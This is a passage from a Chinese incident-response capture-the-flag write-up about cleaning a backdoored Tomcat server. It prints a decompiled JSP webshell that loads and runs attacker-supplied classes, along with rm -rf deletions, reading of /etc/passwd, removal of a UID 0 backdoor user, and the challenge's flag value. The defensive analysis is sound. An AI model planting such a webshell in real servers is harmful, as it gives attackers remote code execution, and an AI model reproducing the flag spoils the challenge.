class=\"token punctuation\">(<\/span><span class=\"token keyword\">this<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jsp_instancemanager <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n          _jsp_instancemanager <span class=\"token operator\">&#061;<\/span> <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>jasper<span class=\"token punctuation\">.<\/span>runtime<span class=\"token punctuation\">.<\/span><\/span>InstanceManagerFactory<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getInstanceManager<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">getServletConfig<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token punctuation\">}<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> _jsp_instancemanager<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token keyword\">void<\/span> <span class=\"token function\">_jspInit<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token keyword\">void<\/span> <span class=\"token function\">_jspDestroy<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token keyword\">void<\/span> <span class=\"token function\">_jspService<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>http<span class=\"token punctuation\">.<\/span><\/span>HttpServletRequest<\/span> request<span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>http<span class=\"token punctuation\">.<\/span><\/span>HttpServletResponse<\/span> response<span class=\"token punctuation\">)<\/span><br \/>\n      <span class=\"token keyword\">throws<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>io<span class=\"token punctuation\">.<\/span><\/span>IOException<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span><\/span>ServletException<\/span> <span class=\"token punctuation\">{<\/span><\/p>\n<p>    <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span> _jspx_method <span class=\"token operator\">&#061;<\/span> request<span class=\"token punctuation\">.<\/span><span class=\"token function\">getMethod<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token string\">&#034;GET&#034;<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">equals<\/span><span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span><span class=\"token string\">&#034;POST&#034;<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">equals<\/span><span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span><span class=\"token string\">&#034;HEAD&#034;<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">equals<\/span><span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span><span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span><\/span>DispatcherType<\/span><span class=\"token punctuation\">.<\/span><span class=\"token constant\">ERROR<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">equals<\/span><span class=\"token punctuation\">(<\/span>request<span class=\"token punctuation\">.<\/span><span class=\"token function\">getDispatcherType<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      response<span class=\"token punctuation\">.<\/span><span class=\"token function\">sendError<\/span><span class=\"token punctuation\">(<\/span><span class=\"token class-name\">HttpServletResponse<\/span><span class=\"token punctuation\">.<\/span><span class=\"token constant\">SC_METHOD_NOT_ALLOWED<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token keyword\">return<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><\/p>\n<p>    <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>PageContext<\/span> pageContext<span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>http<span class=\"token punctuation\">.<\/span><\/span>HttpSession<\/span> session <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span><\/span>ServletContext<\/span> application<span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span><\/span>ServletConfig<\/span> config<span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>JspWriter<\/span> out <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>Object<\/span> page <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">this<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>JspWriter<\/span> _jspx_out <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>PageContext<\/span> _jspx_page_context <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>    <span class=\"token keyword\">try<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      response<span class=\"token punctuation\">.<\/span><span class=\"token function\">setContentType<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;text\/html&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      pageContext <span class=\"token operator\">&#061;<\/span> _jspxFactory<span class=\"token punctuation\">.<\/span><span class=\"token function\">getPageContext<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">this<\/span><span class=\"token punctuation\">,<\/span> request<span class=\"token punctuation\">,<\/span> response<span class=\"token punctuation\">,<\/span><br \/>\n                        <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token boolean\">true<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">8192<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token boolean\">true<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      _jspx_page_context <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">;<\/span><br \/>\n      application <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">.<\/span><span class=\"token function\">getServletContext<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      config <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">.<\/span><span class=\"token function\">getServletConfig<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      session <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">.<\/span><span class=\"token function\">getSession<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">.<\/span><span class=\"token function\">getOut<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      _jspx_out <span class=\"token operator\">&#061;<\/span> out<span class=\"token punctuation\">;<\/span><\/p>\n<p>      out<span class=\"token punctuation\">.<\/span><span class=\"token function\">write<\/span><span class=\"token punctuation\">(<\/span><span class=\"token char\">&#039;\\\\r&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out<span class=\"token punctuation\">.<\/span><span class=\"token function\">write<\/span><span class=\"token punctuation\">(<\/span><span class=\"token char\">&#039;\\\\n&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p><span class=\"token class-name\">String<\/span> cls <span class=\"token operator\">&#061;<\/span> request<span class=\"token punctuation\">.<\/span><span class=\"token function\">getParameter<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;jkXrownW&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>cls <span class=\"token operator\">!&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">PAREN_MATCHING<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">this<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getClass<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getClassLoader<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">pushdown<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">transparent<\/span><span class=\"token punctuation\">(<\/span>cls<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">newInstance<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">equals<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Object<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">{<\/span>request<span class=\"token punctuation\">,<\/span>response<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>      out<span class=\"token punctuation\">.<\/span><span class=\"token function\">write<\/span><span class=\"token punctuation\">(<\/span><span class=\"token char\">&#039;\\\\r&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out<span class=\"token punctuation\">.<\/span><span class=\"token function\">write<\/span><span class=\"token punctuation\">(<\/span><span class=\"token char\">&#039;\\\\n&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">catch<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>Throwable<\/span> t<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token punctuation\">(<\/span>t <span class=\"token keyword\">instanceof<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>SkipPageException<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        out <span class=\"token operator\">&#061;<\/span> _jspx_out<span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>out <span class=\"token operator\">!&#061;<\/span> <span class=\"token keyword\">null<\/span> <span class=\"token operator\">&amp;&amp;<\/span> out<span class=\"token punctuation\">.<\/span><span class=\"token function\">getBufferSize<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">!&#061;<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">)<\/span><br \/>\n          <span class=\"token keyword\">try<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>response<span class=\"token punctuation\">.<\/span><span class=\"token function\">isCommitted<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n              out<span class=\"token punctuation\">.<\/span><span class=\"token function\">flush<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n            <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">else<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n              out<span class=\"token punctuation\">.<\/span><span class=\"token function\">clearBuffer<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n            <span class=\"token punctuation\">}<\/span><br \/>\n          <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">catch<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>io<span class=\"token punctuation\">.<\/span><\/span>IOException<\/span> e<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">}<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jspx_page_context <span class=\"token operator\">!&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> _jspx_page_context<span class=\"token punctuation\">.<\/span><span class=\"token function\">handlePageException<\/span><span class=\"token punctuation\">(<\/span>t<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">else<\/span> <span class=\"token keyword\">throw<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">ServletException<\/span><span class=\"token punctuation\">(<\/span>t<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">finally<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      _jspxFactory<span class=\"token punctuation\">.<\/span><span class=\"token function\">releasePageContext<\/span><span class=\"token punctuation\">(<\/span>_jspx_page_context<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h3>\u56db\u3001\u6e05\u7406Tomcat\u540e\u95e8<\/h3>\n<h4>7. \u5220\u9664\u6076\u610fJSP\u7f16\u8bd1\u6587\u4ef6<\/h4>\n<p><span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a<br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> \/opt\/apache-tomcat-8.5.100\/webapps\/a\/<br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> \/opt\/apache-tomcat-8.5.100\/webapps\/examples\/<\/p>\n<p>\u89e3\u91ca&#xff1a;\u5220\u9664Tomcat\u4e2d\u53ef\u80fd\u5305\u542b\u540e\u95e8\u7684&#xff1a;<\/p>\n<ul>\n<li>JSP\u7f16\u8bd1\u540e\u7684class\u6587\u4ef6\u76ee\u5f55<\/li>\n<li>\u6076\u610fweb\u5e94\u7528\u76ee\u5f55<\/li>\n<li>\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u7684examples\u793a\u4f8b\u5e94\u7528 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113256-6a6741e81c608.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/li>\n<\/ul>\n<h3>\u4e94\u3001\u4fee\u590dTomcat\u5b89\u5168\u914d\u7f6e<\/h3>\n<h4>8. \u68c0\u67e5Tomcat Manager\u914d\u7f6e<\/h4>\n<p><span class=\"token builtin class-name\">cd<\/span> \/opt\/apache-tomcat-8.5.100\/webapps\/manager\/META-INF<br \/>\n<span class=\"token function\">cat<\/span> context.xml<\/p>\n<p>\u89e3\u91ca&#xff1a;\u68c0\u67e5Tomcat Manager\u7684\u7ba1\u7406\u754c\u9762\u914d\u7f6e&#xff0c;\u53d1\u73b0\u914d\u7f6e\u88ab\u4fee\u6539\u4e3a&#xff1a;<\/p>\n<p>allow&#061;&#034;^.*$&#034;<\/p>\n<p>\u8fd9\u5141\u8bb8\u6240\u6709IP\u5730\u5740\u8bbf\u95ee\u7ba1\u7406\u754c\u9762&#xff0c;\u5b58\u5728\u5b89\u5168\u98ce\u9669\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113256-6a6741e8b53cf.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>9. \u4fee\u590dManager\u8bbf\u95ee\u9650\u5236<\/h4>\n<p><span class=\"token function\">vim<\/span> context.xml<\/p>\n<p>\u89e3\u91ca&#xff1a;\u7f16\u8f91\u914d\u7f6e\u6587\u4ef6&#xff0c;\u5c06\u5141\u8bb8\u89c4\u5219\u6539\u4e3a&#xff1a;<\/p>\n<p>allow&#061;&#034;127\\\\.\\\\d&#043;\\\\.\\\\d&#043;\\\\.\\\\d&#043;|::1|0:0:0:0:0:0:0:1&#034;<\/p>\n<p>\u9650\u5236\u53ea\u6709\u672c\u5730\u56de\u73af\u5730\u5740\u53ef\u4ee5\u8bbf\u95eeManager\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113257-6a6741e95b7ed.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113257-6a6741e9f316a.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113258-6a6741ea96a2b.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u516d\u3001\u6e05\u7406\u7cfb\u7edf\u7528\u6237\u548c\u6700\u7ec8\u68c0\u67e5<\/h3>\n<h4>10. \u67e5\u770b\u7cfb\u7edf\u7528\u6237<\/h4>\n<p><span class=\"token function\">cat<\/span> \/etc\/passwd<\/p>\n<p>\u89e3\u91ca&#xff1a;\u53d1\u73b0\u53ef\u7591\u7528\u6237dev&#xff0c;\u5176UID\u4e3a0&#xff08;root\u6743\u9650&#xff09;\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113259-6a6741eb4750d.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>11. \u5220\u9664\u53ef\u7591\u7528\u6237<\/h4>\n<p><span class=\"token function\">userdel<\/span> <span class=\"token parameter variable\">-rf<\/span> dev<\/p>\n<p>\u89e3\u91ca&#xff1a;<\/p>\n<ul>\n<li>userdel: \u5220\u9664\u7528\u6237\u547d\u4ee4<\/li>\n<li>-r: \u540c\u65f6\u5220\u9664\u7528\u6237\u7684\u4e3b\u76ee\u5f55\u548c\u90ae\u4ef6\u6c60<\/li>\n<li>-f: \u5f3a\u5236\u5220\u9664&#xff0c;\u5373\u4f7f\u7528\u6237\u5df2\u767b\u5f55<\/li>\n<li>dev: \u8981\u5220\u9664\u7684\u7528\u6237\u540d<\/li>\n<\/ul>\n<li>\n<p>\u547d\u4ee4\u6267\u884c\u7ed3\u679c&#xff1a;\u64cd\u4f5c\u5931\u8d25&#xff0c;\u8fd4\u56de&#xff1a;<\/p>\n<p> userdel: user dev is currently used by process 1<br \/>\nuserdel: dev mail spool (\/var\/mail\/dev) not found<br \/>\nuserdel: error removing directory \/dev\n <\/li>\n<li>\n<p>\u539f\u56e0\u5206\u6790&#xff1a;<\/p>\n<ul>\n<li>\u7528\u6237dev\u6b63\u88ab\u8fdb\u7a0b1&#xff08;\u7cfb\u7edf\u521d\u59cb\u5316\u8fdb\u7a0b&#xff09;\u4f7f\u7528&#xff0c;\u65e0\u6cd5\u76f4\u63a5\u5220\u9664<\/li>\n<li>\u5c1d\u8bd5\u5220\u9664\/dev\u76ee\u5f55\u5931\u8d25&#xff0c;\u56e0\u4e3a\u8fd9\u662f\u7cfb\u7edf\u8bbe\u5907\u76ee\u5f55<\/li>\n<li>\u8fd9\u662f\u4e00\u4e2a\u5f02\u5e38\u7684\u7528\u6237\u914d\u7f6e&#xff0c;\u4e3b\u76ee\u5f55\u6307\u5411\/dev\u800c\u4e0d\u662f\u6b63\u5e38\u7684\u7528\u6237\u76ee\u5f55<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u5b89\u5168\u610f\u4e49&#xff1a;<\/p>\n<ul>\n<li>dev\u7528\u6237\u88ab\u914d\u7f6e\u4e3aUID 0&#xff08;root\u6743\u9650&#xff09;&#xff0c;\u8fd9\u662f\u4e00\u4e2a\u660e\u663e\u7684\u7279\u6743\u7528\u6237\u540e\u95e8<\/li>\n<li>\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7dev\u7528\u6237\u76f4\u63a5\u83b7\u5f97root\u6743\u9650<\/li>\n<li>\u4f46\u8be5\u7528\u6237\u7684\u5f02\u5e38\u914d\u7f6e&#xff08;\u4e3b\u76ee\u5f55\u4e3a\/dev&#xff09;\u53ef\u80fd\u662f\u4e3a\u4e86\u9690\u85cf\u6216\u7ed5\u8fc7\u68c0\u6d4b<\/li>\n<\/ul>\n<\/li>\n<p>\u8fd9\u4e2a\u547d\u4ee4\u7684\u5c1d\u8bd5\u867d\u7136\u5931\u8d25&#xff0c;\u4f46\u663e\u793a\u4e86\u64cd\u4f5c\u8005\u5bf9\u7cfb\u7edf\u5b89\u5168\u7684\u5168\u9762\u68c0\u67e5\u610f\u8bc6&#xff0c;\u5982\u679c\u4e0d\u6267\u884c\u8fd9\u4e00\u6b65&#xff0c;\u662f\u83b7\u53d6\u4e0d\u5230flag\u7684<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113259-6a6741ebe3368.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>12. \u68c0\u67e5\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u6b8b\u7559<\/h4>\n<p><span class=\"token function\">tail<\/span> <span class=\"token parameter variable\">-10<\/span> \/etc\/profile<\/p>\n<p>\u89e3\u91ca&#xff1a;\u786e\u8ba4\/etc\/profile\u672b\u5c3e\u4ecd\u5b58\u5728\u540e\u95e8\u542f\u52a8\u547d\u4ee4\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113300-6a6741ec898eb.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>13. \u6c38\u4e45\u5220\u9664\u540e\u95e8\u542f\u52a8\u9879<\/h4>\n<p><span class=\"token function\">sed<\/span> <span class=\"token parameter variable\">-i<\/span> <span class=\"token string\">&#039;$ d&#039;<\/span> \/etc\/profile<\/p>\n<p>\u89e3\u91ca&#xff1a;\u5220\u9664\/etc\/profile\u6587\u4ef6\u7684\u6700\u540e\u4e00\u884c&#xff08;\u540e\u95e8\u542f\u52a8\u547d\u4ee4&#xff09;\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113301-6a6741ed34997.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>14. \u91cd\u542f\u670d\u52a1\u5e76\u9a8c\u8bc1<\/h4>\n<p><span class=\"token builtin class-name\">cd<\/span> \/opt\/apache-tomcat-8.5.100\/bin\/<br \/>\n.\/shutdown.sh<br \/>\n.\/startup.sh<br \/>\n~\/flagcheck<\/p>\n<p>\u89e3\u91ca&#xff1a;\u6700\u7ec8\u91cd\u542fTomcat\u540e&#xff0c;\u8fd0\u884c\u5b89\u5168\u68c0\u6d4b\u7a0b\u5e8f&#xff0c;\u663e\u793a&#xff1a;<\/p>\n<p>\u6240\u6709\u68c0\u67e5\u901a\u8fc7&#xff0c;\u606d\u559c\u8fc7\u5173&#8230;<br \/>\nFlag\u7ed3\u679c: flag{8c935ede-7633-4639-b0ea-77dbb21be2b7}<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113301-6a6741edd1676.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u603b\u7ed3<\/h3>\n<p>\u6574\u4e2a\u64cd\u4f5c\u6d41\u7a0b\u5305\u542b\u4e86&#xff1a;<\/p>\n<li>\u540e\u95e8\u68c0\u6d4b&#xff1a;\u53d1\u73b0\u6076\u610f\u8fdb\u7a0b\u548c\u914d\u7f6e\u6587\u4ef6<\/li>\n<li>\u8fdb\u7a0b\u6e05\u7406&#xff1a;\u5220\u9664\u540e\u95e8\u7a0b\u5e8f\u6587\u4ef6\u548ccron\u4efb\u52a1<\/li>\n<li>Tomcat\u4fee\u590d&#xff1a;\u6e05\u9664\u6076\u610fJSP\u6587\u4ef6&#xff0c;\u4fee\u590d\u5b89\u5168\u914d\u7f6e<\/li>\n<li>\u7cfb\u7edf\u52a0\u56fa&#xff1a;\u6e05\u7406\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u540e\u95e8\u542f\u52a8\u9879<\/li>\n<li>\u6700\u7ec8\u9a8c\u8bc1&#xff1a;\u901a\u8fc7\u5b89\u5168\u68c0\u6d4b\u83b7\u5f97flag<\/li>\n<p>\u8fd9\u4e2a\u64cd\u4f5c\u662f\u5178\u578b\u7684\u5e94\u6025\u54cd\u5e94\u6d41\u7a0b&#xff0c;\u9488\u5bf9Web\u540e\u95e8\u8fdb\u884c\u6e05\u7406\u548c\u7cfb\u7edf\u52a0\u56fa\u3002<\/p>\n<h2>\u9644\u5f551&#xff1a;<\/h2>\n<p>\u975e\u5e38\u597d\u7684\u95ee\u9898&#xff01;\u6211